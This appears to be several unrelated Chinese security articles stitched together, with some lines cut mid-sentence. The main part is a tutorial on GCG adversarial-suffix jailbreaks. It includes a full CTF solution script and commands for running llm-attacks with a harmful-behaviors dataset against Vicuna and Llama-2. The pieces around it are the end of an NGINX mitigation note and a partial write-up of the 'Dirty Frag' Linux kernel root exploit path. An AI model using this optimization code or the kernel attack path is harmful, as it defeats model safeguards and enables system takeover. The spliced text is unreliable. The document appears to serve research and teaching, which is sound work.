打破指令链枷锁:如果业务重写规则的复杂度允许,可以直接将替换字符串中的问号(?)剔除,或者拆解紧接在其后的 set 或 if 指令,彻底阻断触发执行第二次评估渲染环境所需的“连击(Combo)”条件 。
四、动态监测
如果组织环境内部依然存留着使用脆弱配置且未及更新的 NGINX 实例,那么在被动防御系统上建立高敏态势感知规则是抵御攻击的最后一道壁垒。
建立高敏感的崩溃信标(Crash Beacons):基于此漏洞极其稳定地引发进程终止的特性,防守方应在 SIEM(安全信息和事件管理系统)、Logstash 或集中式的可观测性平台上部署特殊的检测启发式规则。一旦通过模式匹配识别到 NGINX 错误日志中开始大量、规律性地浮现诸如 worker process exited on signal 11 或类似指向 SIGSEGV 断流的关键事件报错,且同一时间维度的 HTTP 访问日志中伴随出现源自特定 IP 范围、含有大量超常编码字符(如冗长的未编码 % 或 + 串列)的异常请求,应当立即触发红色预警响应协议,拉黑关联攻击源,防止针对目标基础设
系统底层防御基线红线审查:安全运维工程师必须针对所有承载着对公网暴露(Internet-facing)NGINX 实例的核心服务器及虚机容器,执行底层的基线回溯审查。重点审查操作系统的地址空间布局随机化(ASLR)核心状态(通过确认 sysctl kernel.randomize_va_space 返回值是否为默认的安全值 2)。如若发现任何因特殊的兼容性诉求、早期的环境隔离配置或是由于承载于不规范硬件上而人为导致 ASLR 完全禁用或被削弱的主机节点,必须将其安全修复优先级上提至最高紧急(P0)级别,因为只有在这类脆弱且无防护伞的环境下,NGINX Rift 漏洞才有可能被实打实地转化为接管
Prompt is Search:GCG 与大模型对抗后缀攻击
0.前言
在上一次的技术分享文章中,着重讨论了 RAG 时代的数据投毒问题,也就是当外部文档被检索、拼接并送入大模型上下文时,数据就不再只是被动的信息来源,它可能变成一段能够影响模型行为的代码,详细可以搜索《Data is Code:RAG 时代的数据投毒与大模型上下文劫持》
这种风险在 RAG 系统中尤为明显,攻击者不一定需要入侵服务器,也不一定需要修改模型权重,只要一段被污染的文本进入知识库,并在合适的问题下被召回,它就有机会改变模型的回答逻辑,突破指令边界,甚至诱导模型泄露同一上下文中的敏感信息。
上次我在第三种RAG投毒方式,零交互数据窃取中,提到这种攻击还可以进一步升级,即用GCG计算出一串人类看不懂的乱码,这串乱码在向量空间里的坐标跟很多都重合,完成一次更加隐蔽的攻击
RAG 投毒更多讨论的是攻击内容如何进入上下文,而 GCG 是探讨,如果我们已经知道模型会受上下文影响,那么能不能用算法自动搜索出最容易影响模型的那一小段文本?
这就是 GCG 值得被单独拿出来讲的原因,因为它把大模型越狱从人写 prompt推进到了算法优化 prompt的阶段
说到底,如果说 RAG 投毒讨论的是外部数据如何劫持上下文,那么 GCG 讨论的就是另一个更底层的问题:模型的安全边界,是否可以被算法自动搜索出来?
1.GCG介绍
在讨论 GCG 之前,先要把它放回到大模型越狱的语境里
1.1从 Jailbreak 到 Adversarial Suffix
传统的 Jailbreak(越狱),本质上是通过构造特殊提示词,让模型偏离原本的安全对齐策略。比如通过角色扮演、规则重写、上下文欺骗、任务拆分等方式,让模型误以为自己可以回答原本应该拒绝的问题
这类方法有一个共同点:它们基本上是由人写出来的
也就是说,攻击效果依赖于攻击者对模型行为的观察、对提示词的理解,以及大量试错。攻击者要不断调整表达方式,测试模型是否会拒绝,观察模型在哪些语境下更容易被攻击,比如说会说一些不该说的话,或者是泄露不该泄露的东西
但 GCG 的出现,把这个问题变成了个半自动,即GCG 不再把 Jailbreak 看成一个单纯的提示词写作问题,而是把它建模成一个优化问题:
在用户原始问题后面,能不能自动搜索出一小段 token 后缀,让模型更倾向于生成目标响应,而不是执行安全拒答?
这段被搜索出来的文本,通常叫做adversarial suffix,也就是对抗后缀
它可以被抽象成下面这个形式:
用户问题 + 对抗后缀 → 模型输出
这里真正被优化的,不是用户问题本身,也不是模型权重,而是后面那一小段额外文本
这也是 GCG 和传统 Jailbreak 最大的差别
说得通俗易懂点,就是传统 Jailbreak 更像是在说服模型,而GCG算法更像是在搜索模型的脆弱方向
之前的分享里讲 RAG 投毒时,重点是外部数据如何进入上下文,并在推理期影响模型行为
而这次讲 GCG,就是在进一步探索,如果说模型确实会被上下文影响,那么什么样的上下文片段最容易影响它?
1.2 GCG算法
GCG的原文链接 https://arxiv.org/abs/2307.15043
GCG 是Greedy Coordinate Gradient的缩写,可以拆成三个关键词来看:
Greedy 贪心
Coordinate 坐标
Gradient 梯度
这三个词基本上就概括了它的核心思想
Gradient 指的是,算法会利用模型的梯度信息,判断当前后缀中的某个 token 如果被替换,模型输出会朝哪个方向变化
Coordinate 指的是,它不是一次性改完整段文本,而是把后缀看成多个位置,每次选择其中一个 token 位置进行修改
这里的位置可以简单理解成后缀中的第几个 token
比如:
[x0] [x1] [x2] [x3] [x4]
GCG 每次会尝试修改其中某一个位置,比如先看 x3 能不能换成更合适的 token,再看 x1、x4 等位置
Greedy指的是,每一轮修改时,它都会倾向于保留当前看起来效果最好的替换。也就是说,它不保证一次找到全局最优,但会不断做局部最优选择,让后缀逐步
朝目标方向靠近
所以,用一句话解释 GCG
GCG 是一种利用梯度信息,在离散 token 空间中贪心搜索对抗后缀的方法
如果说得更人话一点:
它就像是在模型输入后面放了一串可调参数,然后不断问模型:我把这里换成哪个 token,最容易让你的输出朝目标方向偏移
这里可能会有人有个疑问,特别是有做图像干扰的师傅们
就是图像可以做梯度优化很好理解,因为图片是像素矩阵,像素值是连续的
比如一个像素原来是:0.31 我们可以把它微调成:0.33 但文本不是连续的
一个 token 要么是猫,要么是狗,要么是某个标点符号,不能把猫加上 0.01 变成另一个 token
所以疑问就是
token 是离散的,GCG 为什么还能用梯度?
其实关键在于语言模型真正处理的并不是 token 字符串本身,而是 token 对应的 embedding 向量
Embedding 向量就像是给每一个词语或事物分配的多维特征坐标位置,它把人类才能懂的抽象概念变成了一串数字,让意思越相近的东西,在这个数学坐标系里
住得越紧凑,从而让计算机能直接通过量距离来算出它们的关系
举个最直白的例子解释一下
如果把词语当成找对象,我们可以给它们打分(坐标):
“苹果”:甜度(0.8),水分(0.9),机械感(0.0) -> [0.8, 0.9, 0.0]
“香蕉”:甜度(0.9),水分(0.5),机械感(0.0) -> [0.9, 0.5, 0.0]
“汽车”:甜度(0.0),水分(0.0),机械感(1.0) -> [0.0, 0.0, 1.0]
在计算机眼里,它算一下距离就会发现,苹果和香蕉的向量数字非常接近,所以它们是同一类,都是属于水果范畴
而汽车跟它们差了十万八千里,这就是 Embedding 的核心作用
回到GCG,一个输入 token 进入模型时,会先被映射成一个高维向量,虽然 token ID 是离散的,但 embedding 向量是连续的,连续向量就可以参与梯度计算
可以这样理解:
token → embedding 向量
离散文本 → 连续空间中的一个点
不可直接求导 → 可以通过向量方向估计变化趋势
GCG 并不是直接对 token 做加减法,而是通过梯度判断:
如果想让模型更接近某个目标输出,那么当前这个 token 对应的 embedding 应该往哪个方向变化?
然后算法会回到词表中,寻找那些更接近这个方向的候选 token,再尝试用它们替换当前 token
所以,GCG 的关键并不是文本本身可导,而是:
文本进入模型后会变成 embedding,而 embedding 空间中的方向变化可以用梯度来估计
这也是为什么它经常会生成一些人类看起来像乱码的后缀,因为GCG算法并不是在追求人类读起来通顺,而是在追求模型内部表示空间中的有效扰动
从安全对齐的角度看,一个经过对齐的模型在面对危险问题时,理想行为应该是拒绝回答
也就是说,当输入是危险问题的时候,模型应该更倾向于输出:
抱歉,我不能帮助完成这个请求
而不是输出具体的危险内容
GCG 要做的事情,就是在不修改模型权重的情况下,只通过修改输入后缀,让模型的输出概率发生偏移
可以抽象成:
原始状态:
用户问题 → 模型倾向于拒答
加入后缀后:
用户问题 + 后缀 → 模型更容易生成目标响应
这里需要注意一点:
GCG 并不是让模型理解这段后缀的语义,也不一定是通过自然语言逻辑说服模型。
很多时候,这段后缀在人类看来没有明确含义,但它在模型内部可能会影响某些 token 的生成概率
类比到图像对抗样本一样,人眼看到的图片几乎没变化,但模型的分类结果可能发生变化,GCG 对语言模型做的是类似的事情,只不过扰动对象从像素变成了 token
因此,GCG 的真正意义不是发现了一种奇怪的越狱提示词,而是说明:
大模型的安全边界可能不是一个稳定的语义规则边界,而是一个可以被搜索和逼近的概率边界。
1.3 GCG具体流程
通俗易懂来说,GCG可以具体分为六步
第一步:初始化一段后缀
算法首先会在用户问题后面放一段初始后缀
这段后缀一开始可以是随机 token,也可以是某种占位文本
抽象表示如下:
用户问题 + [x1, x2, x3, x4, ..., xn]
其中 [x1, x2, x3, ..., xn] 就是后面要不断优化的部分
第二步:设定优化目标
GCG 需要一个目标方向,比如,它可能希望模型更倾向于生成某类目标响应,而不是安全拒答
可以把它抽象成:
目标:让模型输出从拒答路径偏向目标响应路径
第三步:计算当前后缀的影响
模型会根据当前输入计算输出概率,此时算法会评估:
当前后缀距离目标还有多远?
如果当前后缀效果不好,说明它还需要继续被修改
这个距离通常会通过损失函数来衡量
损失函数就是 AI 的错题扣分器,预测答案偏离标准答案越离谱,扣的分,也就是Loss 值就越高,AI 学习的过程就是想方设法把这个分数降到最低
举个例子,最开始的 Loss 是 6.13,说明那一组前缀离成功劫持大模型还差得很远;经过 200 轮的不断纠错调整,Loss 降到了 0.0004,说明算法已经找到了近乎
完美的payload,错题本上的扣分基本清零了
损失越高,说明模型越不倾向于生成目标响应,损失越低,说明当前后缀越能把模型推向目标方向
说白了,就是GCG 会把模型有没有被诱导到目标方向转化成一个可计算的损失值
第四步:用梯度寻找候选 token
接下来是 GCG 最关键的一步。
算法会查看后缀中每一个位置,估计如果替换这个位置上的 token,损失可能如何变化
比如当前后缀是:
[x0] [x1] [x2] [x3] [x4]
算法可能发现,修改 x3 对降低损失最有帮助,于是它会围绕 x3 这个位置,从词表中挑出一批候选 token
这里的梯度就像一个方向指示器,它告诉算法,当前这个位置,往哪些 token 方向替换更可能有效?
第五步:尝试替换并评估效果
找到候选 token 后,算法会尝试把当前位置替换成不同候选项,然后重新计算损失。
比如:
原始后缀:
[x0] [x1] [x2] [x3] [x4]
候选替换:
[x0] [x1] [a] [x3] [x4]
[x0] [x1] [b] [x3] [x4]
[x0] [x1] [c] [x3] [x4]
算法会比较这些替换方案,选择让损失下降最多的那个
第六步:重复迭代
完成一次替换后,算法会继续下一轮,它会再次计算梯度,再次选择位置,再次生成候选 token,再次替换。
整个过程可以画成下面这个循环:
初始化后缀
↓
计算损失
↓
计算梯度
↓
选择候选 token
↓
尝试替换
↓
保留效果最好的替换
↓
重复迭代
经过多轮迭代后,原本随机或普通的后缀,可能会变成一段对模型输出有明显影响的 adversarial suffix
整个过程的伪代码如下:
输入:
模型 M
原始输入 x
可优化后缀 s = [s1, s2, ..., sn]
目标响应 y
迭代轮数 T
初始化:
随机或固定初始化一段 suffix s
循环 T 轮:
1. 将 x 与当前 suffix s 拼接,送入模型 M
2. 计算模型生成目标响应 y 的损失 L
3. 对 suffix 中每个 token 位置计算梯度
4. 根据梯度为每个位置选出若干候选 token
5. 尝试替换某个位置上的 token
6. 重新计算替换后的损失
7. 保留让损失下降最多的那次替换
输出:
优化后的 suffix s
上面这段伪代码看起来像普通优化算法,但它真正特殊的地方在于,优化对象不是模型参数,而是输入文本
优化空间不是连续向量,而是离散 token,优化目标不是提升任务准确率,而是改变模型在安全边界附近的输出倾向
2.GCG实践
说了这么多,我们来做点GCG实践
2.1 Hackergame
https://github.com/USTC-Hackergame/hackergame2023-writeups这里拿中国科学技术大学2023的一道Hackergame题目来讲解
本地部署环境一定要 Gradio 3.50.2 和 Transformers 4.35.0
否则本地跑起来会有各种各样的错误
这里我们着重来看第三个flag
flag3已经不像之前的flag1和flag2可以通过手写提示词的方式就可以直接拿到flag的
这里就必须用到GCG算法了,我们回顾一下刚刚所讲的GCG步骤
先初始化,设定目标,计算后缀,梯度寻找token,替换评估,重复迭代,这里就不再过多赘述了,直接看解题代码
from transformers import AutoModelForCausalLM, AutoTokenizer, GenerationConfig
from livelossplot import PlotLosses # pip install livelossplot
import gc
import numpy as np
import torch
import torch.nn as nn
from transformers import AutoModelForCausalLM, AutoTokenizer
np.random.seed(20)
torch.manual_seed(20)
torch.cuda.manual_seed_all(20)
target = "hackergame" # 这个就是我所说的初始化目标
num_steps = 500 #最多优化 500 轮
adv_string_init = "!"*100 #初始前缀,先用 100 个感叹号占位
adv_prefix = adv_string_init #当前正在被优化的前缀
# larger batch_size means more memory (but more likely to succeed)
batch_size = 512 #每轮尝试 512 个候选前缀
device = 'cuda:0'
topk = 256 #每个位置从梯度推荐的前 256 个 token 里采样
def get_embedding_matrix(model):
return model.transformer.wte.weight
def get_embeddings(model, input_ids):
return model.transformer.wte(input_ids)
def token_gradients(model, input_ids, input_slice, target_slice, loss_slice):
"""
Computes gradients of the loss with respect to the coordinates.
Parameters
----------
model : Transformer Model
The transformer model to be used.
input_ids : torch.Tensor
The input sequence in the form of token ids.
input_slice : slice
The slice of the input sequence for which gradients need to be computed.
target_slice : slice
The slice of the input sequence to be used as targets.
loss_slice : slice
The slice of the logits to be used for computing the loss.
Returns
-------
torch.Tensor
The gradients of each token in the input_slice with respect to the loss.
"""
embed_weights = get_embedding_matrix(model)
one_hot = torch.zeros(
input_ids[input_slice].shape[0],
embed_weights.shape[0],
device=model.device,
dtype=embed_weights.dtype
)
one_hot.scatter_(
1,
input_ids[input_slice].unsqueeze(1),
torch.ones(one_hot.shape[0], 1,
device=model.device, dtype=embed_weights.dtype)
)
one_hot.requires_grad_()
input_embeds = (one_hot @ embed_weights).unsqueeze(0)
# now stitch it together with the rest of the embeddings
embeds = get_embeddings(model, input_ids.unsqueeze(0)).detach()
full_embeds = torch.cat(
[
input_embeds,
embeds[:, input_slice.stop:, :]
],
dim=1
)
logits = model(inputs_embeds=full_embeds).logits
targets = input_ids[target_slice]
loss = nn.CrossEntropyLoss()(logits[0, loss_slice, :], targets)
loss.backward()
grad = one_hot.grad.clone()
grad = grad / grad.norm(dim=-1, keepdim=True)
return grad
def sample_control(control_toks, grad, batch_size):
control_toks = control_toks.to(grad.device)
original_control_toks = control_toks.repeat(batch_size, 1)
new_token_pos = torch.arange(
0,
len(control_toks),
len(control_toks) / batch_size,
device=grad.device
).type(torch.int64)
top_indices = (-grad).topk(topk, dim=1).indices
new_token_val = torch.gather(
top_indices[new_token_pos], 1,
torch.randint(0, topk, (batch_size, 1),
device=grad.device)
)
new_control_toks = original_control_toks.scatter_(
1, new_token_pos.unsqueeze(-1), new_token_val)
return new_control_toks
def get_filtered_cands(tokenizer, control_cand, filter_cand=True, curr_control=None):
cands, count = [], 0
for i in range(control_cand.shape[0]):
decoded_str = tokenizer.decode(
control_cand[i], skip_special_tokens=True)
if filter_cand:
if decoded_str != curr_control \
and len(tokenizer(decoded_str, add_special_tokens=False).input_ids) == len(control_cand[i]):
cands.append(decoded_str)
else:
count += 1
else:
cands.append(decoded_str)
if filter_cand:
cands = cands + [cands[-1]] * (len(control_cand) - len(cands))
return cands
def get_logits(*, model, tokenizer, input_ids, control_slice, test_controls, return_ids=False, batch_size=512):
if isinstance(test_controls[0], str):
max_len = control_slice.stop - control_slice.start
test_ids = [
torch.tensor(tokenizer(
control, add_special_tokens=False).input_ids[:max_len], device=model.device)
for control in test_controls
]
pad_tok = 0
while pad_tok in input_ids or any([pad_tok in ids for ids in test_ids]):
pad_tok += 1
nested_ids = torch.nested.nested_tensor(test_ids)
test_ids = torch.nested.to_padded_tensor(
nested_ids, pad_tok, (len(test_ids), max_len))
else:
raise ValueError(
f"test_controls must be a list of strings, got {type(test_controls)}")
if not (test_ids[0].shape[0] == control_slice.stop - control_slice.start):
raise ValueError((
f"test_controls must have shape "
f"(n, {control_slice.stop - control_slice.start}), "
f"got {test_ids.shape}"
))
locs = torch.arange(control_slice.start, control_slice.stop).repeat(
test_ids.shape[0], 1).to(model.device)
ids = torch.scatter(
input_ids.unsqueeze(0).repeat(test_ids.shape[0], 1).to(model.device),
1,
locs,
test_ids
)
if pad_tok >= 0:
attn_mask = (ids != pad_tok).type(ids.dtype)
else:
attn_mask = None
if return_ids:
del locs, test_ids
gc.collect()
return forward(model=model, input_ids=ids, attention_mask=attn_mask, batch_size=batch_size), ids
else:
del locs, test_ids
logits = forward(model=model, input_ids=ids,
attention_mask=attn_mask, batch_size=batch_size)
del ids
gc.collect()
return logits
def forward(*, model, input_ids, attention_mask, batch_size=512):
logits = []
for i in range(0, input_ids.shape[0], batch_size):
batch_input_ids = input_ids[i:i+batch_size]
if attention_mask is not None:
batch_attention_mask = attention_mask[i:i+batch_size]
else:
batch_attention_mask = None
logits.append(model(input_ids=batch_input_ids,
attention_mask=batch_attention_mask).logits)
gc.collect()
del batch_input_ids, batch_attention_mask
return torch.cat(logits, dim=0)
def target_loss(logits, ids, target_slice):
crit = nn.CrossEntropyLoss(reduction='none')
loss_slice = slice(target_slice.start-1, target_slice.stop-1)
loss = crit(logits[:, loss_slice, :].transpose(1, 2), ids[:, target_slice])
return loss.mean(dim=-1)
model = AutoModelForCausalLM.from_pretrained(
'roneneldan/TinyStories-33M',
torch_dtype=torch.float16,
trust_remote_code=True,
).to(device).eval()
tokenizer = AutoTokenizer.from_pretrained(
"EleutherAI/gpt-neo-125M", use_fast=False)
def is_success(prompt):
input_ids = tokenizer.encode(prompt, return_tensors="pt")
output = model.generate(input_ids.to(
device), max_new_tokens=50, num_beams=1, temperature=0)
output = output[:, len(input_ids[0]):]
output_text = tokenizer.decode(output[0], skip_special_tokens=True)
print(output_text)
if output_text.lower().find(target.lower()) != -1:
return True
return False
plotlosses = PlotLosses()
adv_slice = slice(0, len(tokenizer.encode(
adv_string_init, add_special_tokens=False)))
target_slice = slice(adv_slice.stop, adv_slice.stop +
len(tokenizer.encode(target, add_special_tokens=False)))
loss_slice = slice(target_slice.start-1, target_slice.stop-1)
best_new_adv_prefix = ''
for i in range(num_steps):
input_ids = tokenizer.encode(
adv_prefix+target, add_special_tokens=False, return_tensors='pt').squeeze()
input_ids = input_ids.to(device)
coordinate_grad = token_gradients(model,
input_ids,
adv_slice,
target_slice,
loss_slice)
with torch.no_grad():
adv_prefix_tokens = input_ids[adv_slice].to(device)
new_adv_prefix_toks = sample_control(adv_prefix_tokens,
coordinate_grad,
batch_size)
new_adv_prefix = get_filtered_cands(tokenizer,
new_adv_prefix_toks,
filter_cand=True,
curr_control=adv_prefix)
logits, ids = get_logits(model=model,
tokenizer=tokenizer,
input_ids=input_ids,
control_slice=adv_slice,
test_controls=new_adv_prefix,
return_ids=True,
batch_size=batch_size) # decrease this number if you run into OOM.
losses = target_loss(logits, ids, target_slice)
best_new_adv_prefix_id = losses.argmin()
best_new_adv_prefix = new_adv_prefix[best_new_adv_prefix_id]
current_loss = losses[best_new_adv_prefix_id]
adv_prefix = best_new_adv_prefix
# Create a dynamic plot for the loss.
plotlosses.update({'Loss': current_loss.detach().cpu().numpy()})
plotlosses.send()
print(f"Current Prefix:{best_new_adv_prefix}", end='\r')
if is_success(best_new_adv_prefix):
break
del coordinate_grad, adv_prefix_tokens
gc.collect()
torch.cuda.empty_cache()
if is_success(best_new_adv_prefix):
print("SUCCESS:", best_new_adv_prefix)
脚本的核心思想是:先初始化一段无意义前缀,例如一串感叹号,然后不断修改这段前缀中的 token,使模型在看到这段前缀后,更倾向于把 hackergame 作为后续文本生成出来,也就是说,优化阶段并不是直接让模型自由生成,而是把输入构造成:
adv_prefix + hackergame
然后计算模型在当前 adv_prefix 条件下预测 hackergame 的 loss,并且将loss值降低
GCG 的关键在于,它不是随机乱试前缀,而是利用梯度来指导 token 替换
脚本会把可控前缀中的每个 token 转成 one-hot 表示,再通过模型的 embedding 矩阵映射成连续向量。虽然 token 本身是离散的,但 embedding 空间是连续
的,因此可以计算目标 loss 对这些 one-hot 位置的梯度
梯度告诉我们:如果想让 loss 下降,当前位置更应该替换成哪些 token
接下来,脚本会为每个位置选出若干个梯度方向上更有希望的候选 token,并构造出一批候选前缀
每个候选前缀通常只和当前前缀相差一个 token,然后脚本批量评估这些候选前缀对应的目标 loss,选择 loss 最低的那个作为新的前缀
这个过程会不断重复:
直到模型在只看到 adv_prefix 的情况下,能够自动续写出 hackergame,脚本就认为攻击成功
2.2 本地部署GCG
https://github.com/llm-attacks/llm-attacks可以在本地进行gcg攻击过程的一个复现,前期环境安装的命令就不提了,这里提一个模型的问题
#
pip install "fschat[model_worker]"
python -c "
from huggingface_hub import snapshot_download
snapshot_download('lmsys/vicuna-7b-v1.5', local_dir='/data/models/vicuna-7b-v1.5')
"
#
python -c "
from huggingface_hub import snapshot_download
snapshot_download('meta-llama/Llama-2-7b-chat-hf',
local_dir='/data/models/llama-2-7b-chat-hf',
token='YOUR_HF_TOKEN')
"
第一种是下载Vicuna-7B模型,这种模型最轻量,复现最快
第二种是LLaMA-2-7B-Chat,也是论文中的主要目标,但是LLaMA-2 需要先在 HuggingFace 申请访问权限,获取 token
启动命令
CUDA_VISIBLE_DEVICES=0 python -u ../main.py \
--config="../configs/individual_vicuna.py" \
--config.attack=gcg \
--config.train_data="../../data/advbench/harmful_behaviors.csv" \
--config.result_prefix="../results/test_run" \
--config.n_train_data=2 \
--config.data_offset=0 \
--config.n_steps=10 \
--config.test_steps=5 \
--config.batch_size=512
可以看到最终的结果在终端中,随着迭代步数(n_steps)的推进,有几个现象印证了 GCG 算法原理:
在每一轮迭代中,终端都会实时打印出当前的 Loss 值。正如前文所述,损失函数在这里充当了扣分器
在针对目标任务,例如诱导模型输出恶意漏洞脚本的第 0 步,初始的感叹号后缀(! ! !...)产生的 Loss 值通常较高,这说明在没有任何有效干预时,模型原始状态强烈倾向于执行安全拒答
但随着梯度优化的进行,Loss 值会肉眼可见地逐步缩小,这意味着算法找到了让损失下降最多的替换方案,当前生成的对抗后缀正在把模型的输出概率一步步推向设定的目标方向
且在不断迭代的过程中,最初的占位符,比如感叹号会被诸如 avec、payload、compact 等看似毫不相干的词汇或零碎符号逐渐替换
这个过程直观地展示了算法如何利用梯度信息,在离散 token 空间中进行贪心搜索
它根本不在意这些词汇组合在人类读起来是否通顺,它只在乎把某个位置换成哪个 token,最容易让输出朝目标方向偏移
也就是说,大模型的安全边界可能不是一个稳定的语义规则边界,而是一个可以被算法自动搜索和逼近的概率边界
这段对抗样本对人眼来说毫无逻辑,但在模型内部的连续 Embedding 空间中,它却构成了最致命的有效扰动
当跑完设定的步数后,如果 Loss 降到了足够低的阈值,模型就会彻底突破原本的安全对齐限制,顺着后缀,将原本应该拒绝的恶意内容直接生成出来
这里我只实验了10步,做了一个测试而已,所以最终结果 (Step 10): 攻击失败 (Passed 0/1)
归根到底还是因为步数太少,算法没能找到有效的破解后缀,模型依然坚守底线,回答:I'm sorry, but I cannot provide a strategy for hacking...
所以可以把n_steps设置为500,可能会有更好的效果
Dirty Frag 漏洞曝光,影响所有主流 Linux 发行版
漏洞概述
2026年5月7日,安全研究领域迎来了一次重大的震荡,安全研究员 Hyunwoo Kim 披露了一种名为 "Dirty Frag" 的新型 Linux 内核本地权限提升(LPE)漏洞。该漏洞属于纯逻辑型缺陷,其破坏力极大,允许任何非特权本地用户在几乎所有主流 Linux 发行版上实现稳定、无需竞态条件的 Root 权限提升。
Dirty Frag 漏洞并非单一的代码疏漏,而是由内核网络协议栈中两个独立子系统的历史遗留架构问题串联而成:分别存在于 xfrm-ESP(自2017年引入)与 RxRPC(自2023年引入)子系统中的原地解密(In-place Decryption)逻辑缺陷。该漏洞与此前轰动业界的 "Copy Fail" (CVE-2026-31431) 和著名的 "Dirty Pipe" (CVE-2022-0847) 属于同一漏洞家族,均利用了 Linux 内核在零拷贝(Zero-Copy)路径(如 splice()、sendfile() 或使用 MSG_SPLICE_PAGES 标志)上对页缓存(Pa
漏洞原理分析
Linux 页缓存 (Page Cache) 机制的信任模型
Linux 操作系统采用页缓存机制来大幅加速文件系统的读写操作。当用户态进程读取磁盘上的文件时,内核会将文件内容加载到物理内存的“页”(通常为 4KB 大小)中,这些被缓存的物理页即为页缓存。如果多个进程读取同一个文件,它们将透明地共享同一块物理内存中的页缓存,从而极大地节省了系统内存开销并提升了并发读取效率。
在正常的权限控制与内存保护模型下,如果一个非特权进程以只读模式(Read-Only)打开文件,它只能读取这些页缓存,绝对无法进行修改。任何修改意图都必须通过内核的写时复制(Copy-On-Write, COW)机制进行处理:当内核检测到写入操作时,会为进程分配一个私有的内存页副本,所有的修改均在副本上进行,从而保护了原始页缓存的纯洁性和底层磁盘文件的完整性。Dirty Frag 漏洞的本质,正是攻击者找到了一条未被严密监控的“捷径”,绕过了写时复制机制,直接向驻留在内存中的只读文件页缓存中非法写入了恶意指令数据。
零拷贝技术、非线性数据包与 MSG_SPLICE_PAGES
为了满足万兆甚至更高速率网络的数据传输需求,减少用户态与内核态之间不必要的上下文切换,Linux 引入了 splice() 和 sendfile() 等零拷贝系统调用。零拷贝的核心理念是避免数据在“用户态缓冲区”和“内核态缓冲区”之间进行消耗 CPU 周期的无意义拷贝。
在网络传输层,内核使用 sk_buff(Socket Buffer)结构体来管理网络数据包。传统的 sk_buff 包含一个连续的数据区域(即线性区)。而在零拷贝路径中,内核会生成非线性的 sk_buff:即 sk_buff 的 frag 数组(片段数组)并不包含实际的数据内存拷贝,而是直接存储指向页缓存中现有物理页的指针或引用。
当应用程序通过 splice() 系统调用将一个文件发送到网络套接字,且在底层路径中使用了 MSG_SPLICE_PAGES 标志时,内核会将该文件的页缓存直接挂载到 sk_buff 的 frag 结构中。此时,这些物理页的“所有权(Ownership)”实际上并不属于网络协议栈,而是属于底层的文件系统或匿名内存映射。网络协议栈在处理这些引用的 sk_buff 时,应当严格将其视为“只读”数据,或在必须修改时显式调用 COW 机制创建私有副本。
密码学子系统的原地操作 (In-place Operation) 优化困境
在处理复杂的网络协议栈(如 IPsec 隧道或加密 RPC 调用)时,数据包的加密与解密是高度计算密集型的任务。为了追求极致的吞吐量和最低的延迟,内核网络开发者倾向于使用原地操作(In-place Operation)来进行密码学运算。原地操作意味着密码引擎直接在密文所在的原始内存地址上进行解密计算,并将生成的明文直接覆盖在原本的密文之上,从而彻底免除了分配新内存和进行数据拷贝的开销。
然而,原地操作的绝对前提是:内核必须在运算前百分之百地确保当前操作的内存区域是私有的且完全可写的。如果当前的 sk_buff 是非线性的,且其内部的 frag 指向的是外部拥有的页缓存(例如通过 splice 系统调用挂载的、其他进程正在使用的只读文件页),此时直接进行原地解密,就会导致解密后的数据(或被攻击者刻意构造的伪造密文)被内核自身强制写入到不该被修改的系统页缓存中。这种架构层面的假设失配,构成了整个漏洞利用链条中最核心的突破口。
漏洞家族的演进图谱:从 Dirty Pipe 到 Dirty Frag
分析 Dirty Frag 无法脱离其在安全发展史中的演进脉络。此类“页缓存污染(Page Cache Poisoning/Write)”漏洞已经形成了一个具有明显家族特征的攻击面,暴露出 Linux 内核在处理文件缓存与 I/O 缓冲区融合时的系统性脆弱。
Dirty Frag 与 Copy Fail 共享了完全相同的底层漏洞模型(Sink)和攻击原语,但 Dirty Frag 彻底摆脱了对 algif_aead 密码学模块的依赖 。这意味着,即使系统管理员在之前应对 Copy Fail 漏洞时已经通过黑名单禁用了 algif_aead 模块,系统依然完全暴露在 Dirty Frag 的威胁之下。
Dirty Frag 是一个高度复杂的复合型逻辑漏洞,它巧妙地利用了内核在处理 UDP 封装(UDP Encapsulation)和特定加密网络传输协议时的状态机缺陷。具体而言,该漏洞是由两个相互独立但原理高度一致的子缺陷构成的,攻击者只要能够触及其中任意一条代码路径,即可实现完整的权限提升。
xfrm-ESP 子系统缺陷分析 (Page-Cache Write)
xfrm 是 Linux 内核中负责实现 IPsec(IP 安全架构)的基础框架,而 ESP(Encapsulating Security Payload)是 IPsec 协议族中的核心组件,用于为网络层数据提供机密性、数据源验证和抗重放攻击保护。
自 2017 年 1 月提交的内核补丁 cac2661c53f3 开始,ESP 子系统的代码在处理接收到的网络数据包时,为了提升 UDP 封装下 ESP 数据包的处理性能,引入了一个致命的逻辑缺陷。在常规的、负责任的安全协议栈处理流程中,函数 skb_cow_data() 被强制调用,用来仔细检查 sk_buff 是否包含共享的或由外部持有的只读引用页(如通过 splice 挂载的页缓存)。如果发现存在此类引用,该函数会强制执行写时复制(COW),将数据拷贝到安全的私有内存中,以确保后续的解密覆写操作不会越界破坏系统状态。
然而,在 ESP-in-UDP 的无写时复制快速路径(no-COW fast path)中,内核代码的处理逻辑出现了偏差。esp_input 函数在某些特定的套接字状态下,错误地绕过了对 skb_cow_data() 的调用,并直接指令 crypto_authenc_esn_decrypt 函数在原始的 sk_buff 片段(frag)上执行极其危险的原地解密操作。
在一条经典的攻击路径中:攻击者首先通过 AF_INET6 等协议族建立一个配置了 UDP 封装特性的 IPsec 套接字。随后,攻击者调用 splice(),将一个高权限的 SUID 二进制文件(如 /usr/bin/su 或 /usr/bin/sudo)的只读页缓存直接拼接到该套接字的发送队列中,从而构造出一个带有 MSG_SPLICE_PAGES 标志、其片段指针直接指向目标文件页缓存的非线性数据包。当该数据包被发送并经由本地环回接口(Loopback)或底层路由重新进入接收端的快速路径时,ESP 解密例程盲目地假定当前 sk_buff 的认证标签区域(Tag area)和数据负载区域均是
RxRPC 子系统缺陷分析 (Page-Cache Write)
与 ESP 漏洞的成因如出一辙,第二个构成 Dirty Frag 的子漏洞隐藏在 AF_RXRPC 协议栈的深处。RxRPC 是一种专门为 Andrew File System (AFS) 及其相关分布式计算服务设计的远程过程调用(RPC)网络传输层协议。
自 2023 年 6 月的内核提交 2dc334f1a63a 引入以来,RxRPC 子系统中的 rxkad_verify_packet_1 函数便潜伏着一个类似的页缓存写入缺陷。在对接收到的 RxRPC 数据包进行完整性验证与解密时,该函数会调用 pcbc(fcrypt) 加密算法,对数据包执行高效率的原地单块解密(in-place single-block decrypt)。
